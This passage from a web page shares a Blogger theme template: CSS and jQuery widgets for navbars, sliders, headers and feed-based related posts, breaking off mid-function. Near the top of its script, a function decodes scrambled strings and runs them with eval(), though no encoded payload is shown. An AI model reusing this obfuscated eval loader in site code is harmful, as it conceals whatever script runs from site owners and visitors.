Trang chủ » template » giao dien blogspot ver 1.0
giao dien blogspot ver 1.0
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html>
<html b:css='true' b:defaultwidgetversion='1' b:js='truee' b:layoutsVersion='2' b:responsive='true' b:templateUrl='indie.xml' b:templateVersion='1.3.0' expr:dir='data:blog.languageDirection' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
<head>
<meta content='width=device-width, initial-scale=1' name='viewport'/>
<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
<meta content='blogger' name='generator'/>
<link expr:href='data:blog.homepageUrl + "favicon.ico"' id='icon' rel='icon' type='image/x-icon'/>
<link expr:href='data:blog.url' rel='canonical'/>
<link expr:href='data:blog.homepageUrl + "feeds/posts/default"' expr:title='data:blog.title + " - Atom"' rel='alternate' type='application/atom+xml'/>
<link expr:href='data:blog.homepageUrl + "feeds/posts/default?alt=rss"' expr:title='data:blog.title + " - RSS"' rel='alternate' type='application/rss+xml'/>
<link expr:href='"http://www.blogger.com/feeds/" + data:blog.blogId + "/posts/default"' expr:title='data:blog.title + " - Atom"' rel='alternate' type='application/atom+xml'/>
<link href='http://www.blogger.com/openid-server.g' rel='openid.server'/>
<link expr:href='data:blog.homepageUrl' rel='openid.delegate'/>
<b:if cond='data:blog.pageType == "item"'>
<b:if cond='data:blog.postImageThumbnailUrl'>
<link expr:href='data:blog.postImageThumbnailUrl' rel='image_src'/>
</b:if>
<b:if cond='data:blog.metaDescription != ""'>
<meta expr:content='data:blog.metaDescription' name='description'/>
<b:else/>
<meta expr:content='data:blog.pageName + " - " + data:blog.title' name='description'/>
</b:if>
</b:if>
<meta content='width=device-width, initial-scale=1' name='viewport'/>
<link href='https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/css/bootstrap.min.css' rel='stylesheet'/>
<script src='https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js'/>
<script src='https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/js/bootstrap.min.js'/>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery-cookie/1.4.1/jquery.cookie.js'/>
<link href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css' rel='stylesheet'/>
<style>
.col, .col-1, .col-10, .col-11, .col-12, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-auto, .col-lg, .col-xl, .col-xl-1, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9,.col-lg-1, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-md-1, .col-md-10, .col-md-11, .col-md-12, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-sm-1, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-xs-1, .col-xs-10, .col-xs-11, .col-xs-12, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xl-auto,.section,.widget {float: left;padding: 0px;margin:0px;}.container-fluid,.row{float: none;padding: 0px;margin:0px;}
.col-1{width:8.33%;}.col-2{width:16.66%;}.col-3{width:25%;}.col-4{width:33.33%;}.col-5{width:41.66%;}.col-6{width:50%;}.col-7{width:58.33%;}.col-8{width:66.66%;}.col-9{width:75%;}.col-10{width:83.33%;}.col-11{width:91.66%;}.col-12{width:100%;}
.clear {
clear: both;
}
.full{max-width:100%!important;}
</style>
<style id='style'>
/*fix
----------------*/
.padding-0{padding:0px!important}
.margin-0{margin:0px!important}
.widget-item-control {
margin-top: 0px;
position: absolute;
}
#slide .Image {
display: none;
}
.widget, .section {
padding: 0px;
margin: 0px;
}
.widget>h2 {
background: #c8135c;
color: #ffffff;
padding: 6px;
margin: 0px;
border-radius: 5px;
}
.post-title {
padding: 0px;
margin: 0px;
}
.post-thumb {
max-height: 200px;
padding: 10px;
min-width: 80px;
}
/*all
--------------------------*/
body {
background: #0d7aa7;
}
div#all {
background: #ffffff;
}
#main, #main>div {
width: 100%;
padding: 5px;
}
@media (min-width: 768px){
div#all {
padding: 0px;
margin: auto;
float: none;
min-width: 900px;
max-width: 1100px;
}
}
@media (max-width: 768px){
div#all {
width: 100%;
padding: 0px;
margin: auto;
float: none;
}
}
/*defined css head banner img
-----------------------------------*/
.head-banner-img-bg {
padding: 0px;
margin: 0px;
width: 100%;
max-height: 150px;
}
@media (max-width: 768px){
.head-banner-img-bg {
padding: 0px;
margin: 0px;
width: 100%;
max-height: 50px;
}
}
/*define head xs title
----------------------------*/
#head {
background: #8dd9e636;
}
.head-banner-img-xs-logo {
min-height: 50px;
max-height: 65px;
padding: 10px;
}
.head-title-xs {
padding: 0px;
margin: 0px;
color: #337ab7;
font-size: 25px;
}
.head-xs-address {
color: #337ab7;
font-size: 16px;
padding: 10px 0px 5px 10px;
font-size: 20px;
font-weight: 600;
}
.head-address-xs {
color: #337ab7;
padding: 0px 0px 0px 20px;
margin: 0px;
}
.head-banner-md {
padding: 0px 0px 10px 10px;
}
.head-banner-md-logo-title {
color: #337ab7;
text-transform: uppercase;
font-weight: 700;
padding: 5px;
margin: 0px;
}
.head-banner-md-slogan-title-1 {
text-align: center;
}
.head-banner-md-logo-address {
color: #337ab7;
margin: 10px 0px 10px 15px;
}
.head-banner-md-logo-img {
padding: 0px 15px 15px 15px!important;
margin-bottom: -10px;
}
.head-banner-logo-mobile {
color: #337ab7;
font-size: 25px;
font-weight: 700;
padding: 20px 0px 0px 20px!important;
}
.head-banner-md-slogan {
position: absolute;
right: 15%;
top: 8%;
color: #337ab7;
}
.head-banner-md-slogan-title-2 {
text-align: center;
}
/*navbar
--------------------------------*/
#Navbar {
background: #c8135c;
}
#Navbar .widget-content ul>li {
display: inline-block;
padding: 14px;
background: #c8135c;
margin: 0px;
}
#Navbar ul>li a {
color: #fff;
}
.navbar {
margin: 0px;border: none;
}
.navbar-button {
background:transparent ;
margin-top: 8px;
margin-bottom: 8px;
float: right;
height: 30px;
width: 40px;
border: 1px solid transparent;
border-color: #fff;
border-radius: 5px;
z-index: 99999999999999;
}
.navbar-button span.icon-bar {
float: left;
width: 100%;
margin-top: 3px;
margin-bottom: 3px;
height: 2px;
border-radius: 1px;
background: #fff;
}
.navbar-ul {
margin: 0px;padding:0px;
background: #c8135c;
position: inherit;
}
.navbar-ul li {padding: 5px;
list-style: none;
display: inline-block;
}
.navbar-ul li:hover {
background: #ab0d4d;
}
.navbar-ul li >a {
padding: 10px 15px 10px 15px;
display: block;
text-transform: capitalize;
color: #ffffff;
font-weight: 700;
text-decoration: none;
}
@media (max-width: 768px){
.navbar-xs{
height: auto!important;
}
.navbar-xs,.navbar-ul-xs{
background:#c8135c;
}
.navbar-div-button{
padding: 0px;
margin: 0px 0px -1px 0px;
border-bottom: #ffffff 1px solid;z-index:99999999;}
.navbar-ul li {
list-style: none;
display: block!important;
color: #fff;
}
.navbar-ul li {
list-style: none;
display: inline-block;
}
.navbar-ul li >a {
padding: 10px 15px 10px 15px;
display: block;
text-transform: uppercase;
font-weight: 700;
color: #fff;
}
}
input#s { width: 150px; color: #1e63a3; } button.btn.btn-default { padding: 2px; margin: 0px; }
@media (min-width: 768px){
form#searchform {
position: absolute;
right: 8px;
top: 0px;
padding: 5px;
}
}
/*breadcumb
------------------*/
.breadcrumbs {
padding:5px 5px 5px 0px;
margin: 0px 0px 15px 0px;
font-size:95%;
line-height: 1.4em;
border-bottom:3px double #4d90fe;
}
/*pager*/
#blog-pager{clear:both;margin:30px auto;text-align:center; padding: 7px;}
.blog-pager {background: none;}
.displaypageNum a,.showpage a,.pagecurrent{font-size: 14px;padding: 5px 12px;margin-right:5px; color: #666; background-color:#eee;}
.displaypageNum a:hover,.showpage a:hover, .pagecurrent{background:#359BED;text-decoration:none;color: #fff;}
#blog-pager .pagecurrent{font-weight:bold;color: #fff;background:#359BED;}
.showpageOf{display:none!important}
#blog-pager .pages{border:none;}
/*navbar foot
-----------------------------*/
div#foot {
background: #e7f7fa;
width: 100%;
min-height: 120px;
}
#foot li {
list-style: none;
}
.foot-navbar {
background: #c8135c;
margin: auto;
padding: 0px 15% 0px 15%;
text-align: center;
}
.foot-navbar li {
display: inline;
}
.foot-navbar li a {
display: inline-block;
color: #ffffff;
padding: 10px;
text-decoration: none;
}
.foot-widget-title {
font-size: 14px;
font-weight: 600;
padding: 0px;
margin: 10px 40px;
background: transparent;
color: #23527c;
}
.ul-foot *{color: #23527c;}
/*defined blog-mobile-call
--------------------------------*/
#blog-mobile-call{
z-index: 999999;
position: fixed;
text-decoration: none;
bottom: 5px;
right: 10px;
padding: 6px 20px;
border-radius: 10px;
font-size: 28px;
font-weight: 800;
background: #c8135c;
}
#blog-mobile-call a{
color: #ffffff;
text-decoration: none;}
#PopularPosts1 li {
list-style: none;
}
/*slide define
-------------------------*/
.carousel-inner .widget-item-control {
right: 0px;
}
@media (min-width: 768px){
#slide .item, #slide .item >a >img {
width: 100%;
height: 350px;
}
}
@media (max-width: 768px){
#slide .item, #slide .item >a >img {
width: 100%;
height: 250px;
}
}
.slide-title {
margin: 0px;
position: absolute;
bottom: 0px;
padding: 10px 0 10px 0;
background: rgba(0, 0, 0, 0.52);
display: block;
width: 100%;
font-size: 30px;
color: aliceblue;
text-transform: uppercase;
font-weight: 500;
}
/*postmulti
----------*/
.postmulti {
/* height: 220px; */
/* border: 1px solid #4d90fe45; */
margin: 10px;
border-radius: 10px;
overflow: hidden;
box-shadow: 0 1px 3px 0 rgba(0, 0, 0, 0.2), 0 5px 10px 0 rgba(0, 0, 0, 0.19);
}
.post-thumb {
max-height: 150px;
padding: 10px;
margin: 10px;
min-width: 80px;
width: 90%;
box-shadow: 0 1px 3px 0 rgba(0, 0, 0, 0.2), 0 5px 10px 0 rgba(0, 0, 0, 0.19);
}
.postmulti .post-title {
background: #f1f1f159;
padding: 5px 5px 5px 25px!important;
}
/*top right menu
----------------------*/
div#right-top .widget {
width: 100%;
padding: 0px 0px 20px 0px;
margin: 0px;
background: #d4f1f6;
}
div#right-top .widget ul {
padding: 0px;
}
div#right-top .widget li {
display: block;
padding: 0px;
margin: 0px;
border-bottom: 1px solid #c8135c;
}
div#right-top .widget li a {
padding: 12px;
display: block;
background: #d4f1f6;
text-decoration: none;
}
div#right-top .widget li:hover a {
background: #337ab72e;
}
/*-----------------
thumb relater*/
.relater-title {
background: #c8135c;
padding: 8px;
text-align: center;
color: white;
}
.homeTab-0-post-thumb {
height: 200px;
max-height: 200px;
}
.hometab-title {
background: #c8135c;
color: #ffffff;
padding: 8px;margin:0px;
text-transform: capitalize;
}
@media (max-width: 768px){
.homeTab-xs {
border: 1px solid #4d90fe45;
margin: 10px;
border-radius: 10px;
padding: 10px;
overflow: hidden;
box-shadow: 0 1px 3px 0 rgba(0, 0, 0, 0.2), 0 5px 10px 0 rgba(0, 0, 0, 0.19);
}
}
</style>
<script id='setjava'>
<b:if cond='data:view.isPost'>jQuery.type='post';jQuery.postId='<data.blog.postId/>'</b:if>
jQuery.JblogId='<data:blog.blogId/>';
//<![CDATA[
function e(e1){var e={k:'elgoog',p:'a',e:0,v:0};if("object"!=typeof e1)e.p=e1;else for(i in e1)e[i]=e1[i];function d(a){var b=[];for(i in a=a.split(""),a)b[i]=a[a.length-1-i];return b.join().replace(/,/g,"")}function c(a){var b="";if(a=a.split(""),0==(2+a.length)%2)for(i=0;i<a.length/2;i++)b+=a[a.length-1-i]+a[i];else for(i=0;i<a.length/2;i++)b+=a.length-1-i==i?a[i]:a[a.length-1-i]+a[i];return b}function C(a){var b="",c="";if(a=a.split(""),0==(2+a.length)%2)for(i=0;i<a.length;i++)0==i%2?c=a[i]+c:b+=a[i];else for(i=0;i<a.length;i++)a.length-1-i==i?b+=a[i]:0==i%2?c=a[i]+c:b+=a[i];return b+c}function de(){var a=c(d(e.k+e.p));return a}function un(){var a=d(C(e.p)),b=new RegExp(e.k,"g");return a.replace(b,"")}return e.e!=1?(e.v!=1?eval(un()):un()):de()}
jQuery.Jlogo='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPtL5E1EpGM3IadQqhSRxXdMQyzmShAYh4EjbeABsB-By3hJAH2RE6SOnCgm5t-z8gdmbYluJN8iGldqxUjTe4ma0v68Gm7YL2_WA6vl9AARP-E3hEShvHdPnTtvyCdO-3aiNHGtu_6Eo/h500/t%25E1%25BA%25A3i+xu%25E1%25BB%2591ng.png';
jQuery.JsetIcon=function(){$('[id=icon]').attr('href',$.Jlogo);return jQuery}
jQuery.JmobileCv=function(e){var cache='';var xC='';if(e)xC=e;return xC.substr(0,4)+'.'+xC.substr(4,3)+'.'+xC.substr(7,10);}
jQuery.JpostActive=false;
jQuery.Jurl='';
jQuery.Jlabel='';
jQuery.JlabelRelater='';
jQuery.Jstart=1;
jQuery.Jend=3000;
jQuery.JtypeJson='';
jQuery.JtypeHtml='';
jQuery.JtitleWidget='';
jQuery.JhomeTabLabel='';
jQuery.JtypeWidget='Jdefault';
jQuery.Jdiv='div';
jQuery.JidDiv='';
jQuery.Jfunc=function(root){
var c='';
if($.JtypeWidget!=''){if(typeof $[$.JtypeWidget]==='function')c=$[$.JtypeWidget](root)};
return c}
jQuery.Jset=function(a){if("object"==typeof a)for(i in a)jQuery[i]=a[i];return jQuery};
jQuery.JgetUrl=function(a){var b="";if(!a)var a=jQuery;return a&&(!a.Jurl&&(a.Jurl=""),b=a.Jurl,b+=a.JtypeJson==''?"/feeds/posts/default":"/feeds/posts/summary",a.Jlabel&&(b+="/-/"+a.Jlabel),b+="?alt=json-in-script",a.Jstart&&(b+="&start-index="+a.Jstart),a.Jend&&(b+="&max-results="+a.Jend)),a.JpostActive!=false?'https://www.blogger.com/feeds/'+a.JblogId+'/posts/default/'+a.JpostId+'?alt=json-in-script':b};
$.div=function(a,b){var c="";if(!b)c=a;else if(typeof b.div!=undefined){for(i in c="<"+b.div,b)"div"!=i&&(c+=" "+i+"=\""+b[i]+"\" ");c+=">"+a+"</"+b.div+">"}return c};
jQuery.fn.Jchoice=function(a,b){if(!b)var b="";if(a!=undefined)switch(b){case"append":{$(this).append(a);break}case"before":{$(this).before(a);break}case"prepend":{$(this).prepend(a);break}case"remove":{$(this).remove();break}case"hide":{$(this).hide();break}case"show":{$(this).show();break}default:{$(this).html(a);break}}return jQuery};
Json=function(htmlId,o,e1){
if(htmlId)var e=htmlId;$.Jset(o);
$.ajax({
url:$.JgetUrl(),
type:'get',dataType:'jsonp',
success:function(root){$.Jset(o);
e1?e1(root):e.Jchoice($.Jfunc(root),$.JtypeHtml);
}
});
}
jQuery.fn.Json=function(o,e1){
var e=$(this);if(typeof o!='object')var o={};e1?new Json(e,o,e1):new Json(e,o,e1);
return $(this)}
jQuery.fn.JinfoSet=function(){
var c=''; return c+="<div class=\"widget-item-control section-widget-item-control\" style=\"z-index:9999999999; margin-left: 25px; width: 20px; overflow: hidden;\"><div class=\"set item-control blog-admin\" style=\" z-index: 9999999999;\"><div class=\"\">",c+="<a data-toggle=\"tooltip\" title=\"section "+$(this).attr("id")+"\" style=\"color: red;\" href=\"https://www.blogger.com/choose-gadget?blogID=",$.JblogId&&(c+=$.JblogId),c+="&action=chooseWidget§ionId="+$(this).attr("id")+"&widgetType=nullid\" target=\"_blank\"><i class=\"fa fa-plus\"></i></a>",c+="</div></div></div>";
}
jQuery.Jab=function(x,y){''
this.a='';this.b='';if(x)this.a=x;if(y)this.b=y;
return this;}
jQuery.Jitem=function(e){
this.id='';this.idHtml;this.arr={};this.type='';this.title='';this.url='';this.src='';this.content='';this.set='';
return this;}
jQuery.JfixImg=function(x){var c='';if(x)c=x.toString();var cRegEpr=new RegExp('['+'1'+'-'+'9'+']'+'.'+'b'+'p'+'.'+'b'+'l'+'o'+'g'+'s'+'p'+'o'+'t'+'.'+'c'+'o'+'m','g');return c.replace(cRegEpr,'l'+'h'+'4'+'.'+'g'+'o'+'o'+'g'+'l'+'e'+'u'+'s'+'e'+'r'+'c'+'o'+'n'+'t'+'e'+'n'+'t'+'.'+'c'+'o'+'m');}
jQuery.Jfix=function(){
var e=$('img');
e.each(function(index, element) {
$(element).attr('src',$.JfixImg($(element).attr('src')));
if($(element).attr('src')=='')$(element).attr('src',$.Jlogo);
});
var e=$('a');
e.each(function(index, element) {
$(element).attr('href',$.JfixImg($(element).attr('href')));
});
}
jQuery.fn.Jimage=function(){
var e=new jQuery.Jitem();
if($(this).attr('id'))e.idHtml=$(this).attr('id');
if($(this).find('h2').html()){e.title=$(this).find('h2').html();}else{if($(this).find('.title').html()){e.title=$(this).find('.title').html();}}
if($(this).find('.widget-content a').attr('href')){e.url=$(this).find('.widget-content a').attr('href')}
if($(this).find('.widget-content a img').attr('src')){e.src=$.JfixImg($(this).find('.widget-content a img').attr('src'))}else{e.src=$.JfixImg($(this).find('.widget-content img').attr('src'))}
if($(this).find('.widget-content .caption').html()){e.content=$(this).find('.widget-content .caption').html();}
if($(this).find('.widget-item-control').html())e.set='<div class="widget-item-control">'+$(this).find('.widget-item-control').html()+'</div>';
//$(this).remove();
return e;}
jQuery.fn.JlinkList=function(){
var e=new jQuery.Jitem();
if($(this).attr('id'))e.idHtml=$(this).attr('id');
if($(this).find('h2').html()){e.title=$(this).find('h2').html();}else{if($(this).find('.title').html()){e.title=$(this).find('.title').html();}}
if($(this).find('.widget-item-control').html())e.set='<div class="widget-item-control">'+$(this).find('.widget-item-control').html()+'</div>';
var c=$(this).find('ul>li>a');
var i=0;
c.each(function(index, element) {
if($(element).html() && $(element).attr('href')){e.arr[i]=new $.Jab($(element).html(),$(element).attr('href'));i++}
});
//$(this).remove();
return e;}
jQuery.fn.Jnavbar=function(e){
var e1=new $(this).JlinkList();
var c=e1.arr;
this.Default=function(e2){
var cl='';if(e2)cl=e2;
var ul='<div class="navbar navbar-xs col-md-12 col-lg-12 col-sm-12 col-xs-12" ><div class="col-md-12 col-lg-12 col-xs-12 visible-xs navbar-div-button" ><a class="navbar-a-home" href="/" style="float: left; color: #fff; font-weight: 500; padding: 10px; font-size: 20px; text-decoration: none;">Trang chủ</a><button class="navbar-button" type="button"><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button></div><div class="clear"></div><ul class="navbar-ul navbar-ul-xs visible-md visible-lg visible-sm '+cl+'">';
for(i in c){
ul+='<li><a href="'+c[i].b+'">'+c[i].a+'</a></li>';
}
ul+=e1.set;
ul+='<form action="/search" class="navbar-form navbar-left" id="searchform" method="get"> <input id="s" name="q" onblur="if (this.value == "") {this.value = "Search";}" onfocus="if (this.value == "Search") {this.value = "";}" type="text" value="Search"> <button class="btn btn-default" type="submit">Tìm kiếm</button> </form></ul></div>';
return ul;}
return this}
jQuery.fn.JimageSlide=function(e){
var e1=new $(this).Jimage();
this.Default=function(e2){
var e3='';var e4=0;if(e2){if(e2==0){e5='active';}else{var e5=''}}else{var e5='active';};
e3+='<div class="item '+e5+'"><a href="'+e1.url+'"><img class="slide-img col-12" src="'+e1.src+'"/></a><h3 class="slide-title">'+e1.title+'</h3>'+e1.set+'</div>';
return e3}
return this;}
jQuery.Jslide={set:'',content:''}
jQuery.fn.JinfoSlide=function(e1){
var e1=$(this).find('.Image');
var e3='<div class="carousel slide col-md-12 col-xs-12" data-ride="carousel" id="slide" ><div class="carousel-inner xs-hide" role="listbox">';
e1.each(function(index,element){
e3+=new $(element).JimageSlide().Default(index);
});
e3+='</div></div><div class="clear"/>';
$.Jslide.content=e1.length>0?e3:'';
$.Jslide.set=$(this).JinfoSet();
return $(this)}
jQuery.fn.Jfoot=function(){
var e1=new $(this).JlinkList();
var c=e1.arr;
this.Default=function(e2){
var cl='';if(e2)cl=e2;
var ul='<ul class="foot-navbar col-12 hidden-xs">';
for(i in c){
ul+='<li><a href="'+c[i].b+'">'+c[i].a+'</a></li>';
}
ul+=e1.set;
ul+='</ul>';
$(this).addClass('col-12 xs-hidden');
$(this).html(ul);
return ul;}
return this;}
jQuery.fn.JinfoLinkListFoot=function(){
var e1=$(this).find('.LinkList');
var c='';
e1.each(function(index, element) {
var e2=$(element).JlinkList();
var c1='<div class="widget-1 col-lg-4 col-md-4 col-sm-4 col-xs-12">';
c1+='<h3 class="foot-widget-title">'+e2.title+'</h3><ul class="ul-foot" style="">';
for(i in e2.arr){
c1+='<li><span class="li-text">'+e2.arr[i].a+'</span><span class="li-value">'+e2.arr[i].b+'</span></li>';
}
c1+='</ul>'+e2.set+'</div>';
c=c+c1;
c1='';
e2=new Object();
});
jQuery.Jfoot.content=c;
return $(this)}
jQuery.fn.JinfoLogo=function(e){
var x=new $(this).Jimage();
jQuery.Jhead.mobile=x.title;
jQuery.Jhead.logo=x.src;
jQuery.Jhead.address=x.url;
jQuery.Jhead.title=x.content;
jQuery.Jhead.setLogo=x.set;
if($.Jhead.activeLogo==true)$.Jlogo=x.src;
return $(this)}
jQuery.fn.JinfoSlogan=function(e){
var x=new $(this).Jimage();
jQuery.Jhead.headBg=x.src;
jQuery.Jhead.title1=x.title;
jQuery.Jhead.title2=x.content;
jQuery.Jhead.title3=x.url;
jQuery.Jhead.setSlogan=x.set;
return $(this)}
jQuery.fn.JinfoNavbar=function(){
var e=new $(this).JlinkList();
jQuery.Jnavbar.set=e.set;jQuery.Jnavbar.arr=e.arr;
return $(this)}
jQuery.Jnavbar={arr:new Object(),set:'',
Default:function(e2){
ld:!function(e){$(e).ready(function(){$.Jfix(); $('.navbar-button').click(function(){if($('.navbar-ul').hasClass('visible-xs')){$('.navbar-ul').removeClass('visible-xs');}else{$('.navbar-ul').addClass('visible-xs');}})
$('.navbar a').click(function(){if($('.navbar-ul').hasClass('visible-xs')){$('.navbar-ul').removeClass('visible-xs');}else{$('.navbar-ul').addClass('visible-xs');}})
})}(document)
var cl='';if(e2)cl=e2;var c=this.arr;
var ul='<div class="navbar navbar-xs col-md-12 col-lg-12 col-sm-12 col-xs-12" ><div class="col-md-12 col-lg-12 col-xs-12 visible-xs navbar-div-button" ><a class="navbar-a-home" href="/" style="float: left; color: #fff; font-weight: 500; padding: 10px; font-size: 20px; text-decoration: none;">Trang chủ</a><button class="navbar-button" type="button"><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button></div><div class="clear"></div><ul class="navbar-ul navbar-ul-xs visible-md visible-lg visible-sm '+cl+'">';
for(i in c){
ul+='<li><a href="'+c[i].b+'">'+c[i].a+'</a></li>';
}
ul+=this.set;
ul+='<form action="/search" class="navbar-form navbar-left" id="searchform" method="get"> <input id="s" name="q" onblur="if (this.value == "") {this.value = "Search";}" onfocus="if (this.value == "Search") {this.value = "";}" type="text" value="Search"> <button class="btn btn-default" type="submit">Tìm kiếm</button> </form></ul></div>';
return ul;}
};
jQuery.fn.JinfoMenuFoot=function(){
var e=new $(this).JlinkList();
jQuery.Jfoot.set=e.set;jQuery.Jfoot.arr=e.arr;
return $(this)}
jQuery.Jfoot={arr:new Object(),set:'',content:'',
menu:function(e){
var cl='';if(e)cl=e;var c=this.arr;
var ul='<ul class="foot-navbar col-12 hidden-xs">';
for(i in c){
ul+='<li><a href="'+c[i].b+'">'+c[i].a+'</a></li>';
}
ul+=this.set;
ul+='</ul>';return ul}
};
jQuery.Jhead={mobile:'',logo:'',activeLogo:true,address:'',title:'',setLogo:'',headBg:'',title1:'',title2:'',title3:'',setSlogan:'',activeBg:false,navbarArr:new Object(),call:function(){return this.mobile!=''?'<div id="blog-mobile-call"><a class="mobile" href="tel:'+this.mobile+'"><i class="cskh-buttom glyphicon glyphicon-earphone"></i> '+$.JmobileCv(this.mobile)+'</a>'+this.setLogo+'</div>':''},valueSlogan:function(){return'<div class="head-banner-md-slogan"><h3 class="head-banner-md-slogan-title-1 ">'+this.title1+'</h3><h3 class="head-banner-md-slogan-title-2 ">'+this.title2+'</h3>'+this.setSlogan+'</div>';},
valXs:function(){var c='<div class="visible-xs padding-0"><div class="col-xs-3 padding-0"><img class="col-xs-12 head-banner-img-xs-logo" src="'+this.logo+'"/></div><div class="col-xs-9 padding-0"><h1 class="head-title-xs ">'+this.title+'</h1><h4 class="head-address-xs ">'+this.address+'</h4>';if(this.mobile!='')c+='<span class="head-xs-address"><i style=" " class="fa fa-phone"></i>'+$.JmobileCv(this.mobile)+'</span>';c+=this.setSlogan+'</div></div>';return c},Default:function(){
var e='<div id="head" class="col-lg-12 col-md-12 col-sm-12 col-xs-12 padding-0 head">';
//define banner default
e+='<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 head-banner padding-0">';
if(this.activeBg==true){e+='<img src="'+this.headBg+'" class="col-lg-12 col-md-12 col-sm-12 hidden-xs head-banner-img-bg padding-0"/>';}else{
e+='<div class="hidden-xs head-banner-md">';
e+='<div class="head-banner-md-logo col-12 padding-0"><h1 class="col-12 head-banner-md-logo-title">'+this.title+'</h1><div class="col-2 head-banner-md-logo-div-img padding-0"><img class="col-12 head-banner-md-logo-img padding-0" src="'+this.logo+'"/></div><div class="col-6 head-banner-md-logo-div-address padding-0"><h3 class="col-12 head-banner-md-logo-address padding-0" >'+this.address+'</h3>';if(this.mobile!='')e+='<span class="padding-0 margin-0 head-banner-logo-mobile"><i style=" font-size: 32px;" class="fa fa-phone"></i> '+$.JmobileCv(this.mobile)+'</span>';e+=this.setLogo+'</div></div>';
e+=this.valueSlogan()+this.valXs();
e+='</div>';
}
e+=this.valXs()+'</div>'+this.call();
return e}
};
function item(d){
this.id='';this.index=0;
this.div='div';
this.class='';
this.chitiet='';
this.title='';
this.url='';
this.src='';
this.content='';
this.cate=new Object();
this.rss='';
this.plus='';
this.author='';
this.blogId='';
this.postId='';
this.setting='';
if(d!=undefined){
d.title.$t!=undefined?this.title=d.title.$t:this.text='';
if(d.summary.$t!=undefined){
d.summary!=undefined?this.content=d.summary.$t:this.content='';
}else{
d.content!=undefined?this.content=d.content.$t:this.content='';
}
if(d.link!=undefined){
var Clink=d.link;
for(indexLink in Clink){
if(Clink[indexLink].type=='text/html'){
this.url=Clink[indexLink ].href;
//break;
}
}
var Crss=d.link;
for(indexRss in Crss){
if(Crss[indexRss].type=='application/atom+xml'){
this.rss=Crss[indexRss].href;
//break;
}
}
}else{this.rss='';}
if(d.media$thumbnail!=undefined){
var thumbImg=d.media$thumbnail.url;
var thumbReg=RegExp('s72-c','g');
this.src=thumbImg.replace(thumbReg,'s600').replace(/[1-9].bp.blogspot.com/g,'lh4.googleusercontent.com');
}else{
this.src='';
if(jQuery.Jlogo)this.src=jQuery.Jlogo;
}
d.category!=undefined?this.cate=d.category:this.cate=[];
if(d.id.$t!=undefined){
this.blogId=d.id.$t.substring(6+d.id.$t.indexOf(':blog-'),d.id.$t.indexOf('.post-'));
this.postId=d.id.$t.substring(6+d.id.$t.indexOf('.post-'));
this.setting='<div class="widget-item-control"><div class="item-control blog-admin"><a href="https://draft.blogger.com/blogger.g?blogID='+this.blogId+'#editor/target=post;postID='+this.postId+'">edit</a></div></div>';
}
d.author[0].name.$t!=undefined?this.public=d.author[0].name.$t:this.public='';
d.author[0].uri.$t!=undefined?this.plus=d.author[0].uri.$t:this.plus='';
}
this.Jset=function(a,b){if(a&&b){this[a]=b;}else{if(typeof a=='object'){for(i in a){this[i]=a[i];}}}return this}
this.relater=function(){
var c='';
c+='<a class="'+this.class+'-a" href="'+this.url+'"><h3 class="col-12 '+this.class+'-post-title post-title">'+this.title+'</h3></a>';
c+='<div class="col-4"><img class="'+this.class+'-post-thumb post-thumb" src="'+this.src+'"/></div>';
c+='<div class="col-8 '+this.class+'-content hidden-xs">'+this.content+'</div>';
c+='<div class="col-8 '+this.class+'-content visible-xs">'+this.content.substr(0,250)+'</div>';
if(this.div!='')c=$.div($.div(c,{div:this.div,class:this.class+'-child'}),{div:this.div,class:this.class});
return c}
this.homeTab=function(){
var c='';
if(this.index!=0)c+='<a class="col-12 '+this.class+'-a" href="'+this.url+'"><h5 class="col-12 '+this.class+'-post-title post-title">'+this.title+'</h5></a>';
c+='<a href="'+this.url+'" class="';c+=this.index!=0?'col-4':'col-12';c+='"><img class="'+this.class+'-post-thumb post-thumb" src="'+this.src+'"/></a>';
if(this.index==0)c+='<a class="col-12 '+this.class+'-a" href="'+this.url+'"><h5 class="col-12 '+this.class+'-post-title post-title">'+this.title+'</h5></a>';
c+='<div class="hidden-xs ';c+=this.index!=0?'col-8':'col-12';c+=' '+this.class+'-content ">';c+=this.index!=0?this.content.substr(0,100):this.content.substr(0,400);c+='</div>';
c+='<div class="visible-xs ';c+=this.index!=0?'col-8':'col-12';c+=' '+this.class+'-content ">';c+=this.index!=0?this.content.substr(0,200):this.content.substr(0,300);c+='</div>';
if(this.div!='')c=$.div($.div(c,{div:this.div,class:'col-12'}),{div:this.div,class:'homeTab homeTab-xs col-sm-6 col-xs-12'});
return c}
return this;}
jQuery.Jdefault=function(root){
var c='';var entries = root.feed.entry || [];
for(i in entries){
c+=new item(entries[i]).Jset({div:'div',class:'postmulti'}).relater();
}
c=$.div('<h3 class="relater-title">Bài viết liên quan</h3>'+c,{div:$.Jdiv,class:$.JidDiv+' col-12'});
return c}
jQuery.JhomeTab=function(root){
var c='';var entries = root.feed.entry || [];
for(i in entries){
if(i!=0){
